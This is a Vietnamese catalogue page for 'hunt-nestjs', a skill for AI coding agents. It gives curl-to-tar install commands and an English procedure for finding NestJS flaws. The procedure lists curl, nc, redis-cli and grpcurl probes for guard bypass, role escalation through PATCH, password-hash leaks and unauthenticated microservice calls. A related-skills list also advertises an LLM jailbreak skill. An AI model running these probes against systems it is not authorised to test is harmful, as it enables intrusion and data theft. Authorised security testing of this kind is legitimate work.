hunt-nestjs – skill Bảo mật cho agent AI
Săn lỗ hổng đặc thù NestJS: vượt qua guard, lỗ hổng decorator, và sai lệch xác thực giữa các microservice.
Cài skill hunt-nestjs bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-nestjs-b7404.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-nestjs – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-nestjs-b7404.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-nestjs – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-nestjs-b7404.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-nestjs – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-nestjs-b7404.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-nestjs – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
NestJS Security Hunting
Hunt NestJS-specific vulnerabilities in guard bypass via decorator stack gaps, Reflector metadata mismatches between global/controller/method guards, ValidationPipe whitelist and transform exploits, and microservice transport authentication drift. NestJS's architectural patterns — decorators, dependency injection, module system, multi-transport support — create unique attack surface across HTTP, WebSocket, and RPC transports.
When to Use
- Target uses NestJS (indicated by
x-powered-by: NestJSor TypeScript decorator patterns in error messages). - GraphQL endpoints exist alongside REST API.
- Microservice transports (TCP, Redis, NATS, MQTT, gRPC) are configured.
- Swagger/OpenAPI docs are exposed at
/apior/api-json. - CRUD endpoints follow predictable NestJS naming conventions.
Quick Detection
# NestJS fingerprinting
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/api" | grep -iE "x-powered-by|server"
# Look for: x-powered-by: NestJS
# Swagger docs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api" -w "%{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api-json" | jq '.paths | keys[]' 2>/dev/nullProcedure
Phase 1 — Guard Bypass via Decorator Stack Gaps
# NestJS guard resolution: global → controller → method
# A @Public() or @SkipAuth() on one method doesn't affect others
# BUT: route parameter confusion can bypass guards
# Test all HTTP methods on guarded endpoints
for method in GET POST PUT PATCH DELETE OPTIONS; do
curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/admin/users" \
-w "$method — %{http_code}\n" -o /dev/null
done
# Controller-level guard with method-level override
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/health" # may be @Public
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/config" # may be @PublicPhase 2 — Reflector Metadata Mismatches
# Global guard checks @Roles() metadata
# But controller-level guard may use different metadata key
# This creates gaps where global guard has no metadata to check → passes
# Test endpoints with different role requirements
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users" -H "Authorization: Bearer TOKEN" \
-w "GET users — %{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com/api/users/1" -H "Authorization: Bearer TOKEN" \
-w "DELETE user — %{http_code}\n" -o /dev/null
# Custom parameter decorators may bypass guard checks
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users?userId=VICTIM_ID" \
-H "Authorization: Bearer TOKEN" \
-w "param decorator — %{http_code}\n" -o /dev/nullPhase 3 — ValidationPipe Exploitation
# ValidationPipe with whitelist: true strips unknown fields
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"test","isAdmin":true}' # isAdmin stripped if not in DTO
# BUT: transform: true enables implicit type conversion
# Primitive types auto-converted → string "true" → boolean true
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"test","isActive":"true"}' # string coerced to boolean
# ValidationPipe with skipMissingProperties: true
# PATCH with only the fields you want to change — skips validation of missing fields
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/users/me" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}' # only role updated, no other validationPhase 4 — Serialization Leaks
# ClassSerializerInterceptor absence — returns full entity
# With interceptor: returns only @Expose() fields
# Without interceptor: returns ALL entity fields including password hash
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/1" | jq 'keys' 2>/dev/null
# Look for: password, passwordHash, secretKey, internalNotes, etc.
# @Exclude() on entity but interceptor not applied globally
# → controller without interceptor leaks excluded fieldsPhase 5 — Microservice Transport Auth Drift
# NestJS microservices support multiple transports
# Auth enforced on HTTP may be absent on TCP/Redis/NATS
# TCP transport (default port 3000)
echo '{"pattern":"getUser","data":{"id":1}}' | nc target.com 3000
# Redis transport — check if Redis is exposed
redis-cli -h target.com PUBLISH "get_user" '{"id":1}'
# gRPC transport — check reflection
grpcurl -plaintext target.com:5000 list
# @MessagePattern without @UseGuards()
# → microservice handler has no authentication at allPhase 6 — Module Boundary Leaks
# @Global() modules export providers to all other modules
# If AuthModule is @Global(), token validation available everywhere
# BUT: some modules may import AuthModule manually and use a WEAKER guard
# CRUD generator auto-endpoints
# nestjsx/crud creates standard CRUD without explicit @UseGuards()
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users" # GET all
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/1" # GET one
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" # CREATE
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/users/1" # UPDATE
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com/api/users/1" # DELETEPitfalls
- NestJS Swagger module may expose all endpoints regardless of auth. Always check
/api-jsonfor hidden endpoints. @Public()decorator is framework-specific (not built into NestJS). Different projects use@SkipAuth(),@NoAuth(), or@AllowAnonymous().- Microservice transports often run on internal ports. Test from within the target network if possible.
@Res({ passthrough: true })bypasses the standard response pipeline. Response headers and status codes can be injected.
Verification
1. An endpoint with @UseGuards(AuthGuard) at controller level accepts requests at method level without auth.
2. Serializer interceptor absence reveals internal fields (password hash, internal notes, tokens).
3. Microservice handler processes requests without any authentication while HTTP equivalent requires JWT.
4. CRUD auto-endpoints expose create/update/delete operations without explicit authorization.
Related Skills
hunt-graphql— NestJS GraphQL endpoints with @nestjs/graphql decorators.hunt-api-misconfig— Broader API misconfigurations including guard and pipe gaps.hunt-idor— Object-level authorization through NestJS parameter decorators.hunt-write-gap— NestJS PATCH endpoints that accept writes without read authorization.
Skill liên quan
- k8s-security-policies – Triển khai chính sách bảo mật Kubernetes gồm NetworkPolicy, PodSecurityPolicy và RBAC…
- godmode – Jailbreak LLM: Parseltongue, GODMODE, ULTRAPLINIAN.
- compliance-readiness – /compliance-os:compliance-readiness [program] — Phỏng vấn cưỡng bức 6 câu hỏi về chương…
- hunt-oauth – Skill săn lỗ hổng OAuth. Được xây dựng từ 19 báo cáo bug bounty công khai. Dùng khi săn…
- hunt-prototype-pollution – Săn lỗ hổng prototype pollution phía client và server để tìm XSS, bypass xác thực và RCE.
- hunt-race-condition – Skill săn lỗ hổng race condition. Được xây dựng từ 12 báo cáo bug bounty công khai, bao…
- hunt-rce – Skill săn lỗ hổng RCE. Được xây dựng từ 67 báo cáo bug bounty công khai. Dùng khi săn…
- hunt-sharepoint – Săn lỗ hổng SharePoint Server (2013/2016/2019/Subscription Edition) trên hệ thống farm…